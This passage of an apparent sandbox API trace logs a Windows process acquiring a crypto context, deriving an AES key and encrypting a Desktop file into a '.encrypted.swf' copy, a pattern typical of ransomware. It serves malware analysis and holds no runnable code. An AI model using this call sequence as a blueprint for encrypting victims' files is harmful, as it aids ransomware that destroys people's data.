wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.029] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.029] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.029] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.029] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.029] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.029] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.030] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.030] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b750, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.030] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.030] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.031] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.031] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.031] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.031] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.031] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0023.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.032] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.033] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\lqcvzobthzds7xe9l.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.033] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.033] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.033] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.033] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\lqcvzobthzds7xe9l.encrypted.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.034] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.034] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.034] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.034] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.035] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.035] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x14be, lpOverlapped=0x0) returned 1 [0023.036] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.038] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.039] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.039] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.039] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.039] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.040] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.040] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.040] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.040] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.041] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14be, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x14c0) returned 1 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] CharLowerBuffW (in: lpsz="byte[5313]", cchLength=0xa | out: lpsz="byte[5313]") returned 0xa [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.041] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x14be, dwBufLen=0x14c0 | out: pbData=0xe8f4190f50*, pdwDataLen=0xe8f3dfdf68*=0x14c0) returned 1 [0023.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 